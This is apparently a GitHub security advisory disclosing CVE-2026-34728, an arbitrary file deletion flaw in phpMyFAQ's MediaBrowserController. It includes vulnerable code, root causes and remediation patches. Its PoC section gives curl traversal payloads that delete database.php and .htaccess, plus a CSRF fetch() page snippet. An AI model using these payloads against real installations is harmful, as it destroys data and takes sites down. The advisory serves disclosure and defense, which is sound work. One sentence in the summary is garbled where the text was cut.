GitHub Advisoryadvisory · Packagist
GHSA-38m8-xrfj-v38x phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
HIGH
Official page ↗
- Aliases
- CVE-2026-34728
- Ecosystem
- Packagist
- Packages
- phpmyfaq/phpmyfaq
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
- Weaknesses
- CWE-22
- Reviewed
- 2026-04-01
Affected packages
• Packagist phpmyfaq/phpmyfaq: < 4.1.1 → fixed in 4.1.1
Description
Summary
The `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `"`, ``) and characters with ASCII value userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
```
Root Causes:
1. No path traversal prevention: `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.
2. No CSRF protection: The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.
3. No basename() or realpath() validation: The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.
4. HTTP method mismatch: The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The `ImageController::upload()` method (same directory) properly validates file names:
```php
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
```
The `FilesystemStorage::normalizePath()` method also properly validates paths:
```php
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
```
PoC
Direct exploitation (requires authenticated admin session):
```bash
Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
```
CSRF exploitation (attacker hosts this HTML page):
```html
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
```
When an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.
Impact
• Server compromise: Deleting `content/core/config/database.php` causes total application failure (database connection loss).
• Security bypass: Deleting `.htaccess` or `web.config` can expose sensitive directories and files.
• Data loss: Arbitrary file deletion on the server filesystem.
• Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
1. Add path traversal validation:
```php
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
}
}
```
2. Add CSRF protection:
```php
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
```
3. Change HTTP method to POST or DELETE to align with proper HTTP semantics.
Related
Alias · CVE (1)
- CVE-2026-34728 phpMyFAQ is an open source FAQ web application. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness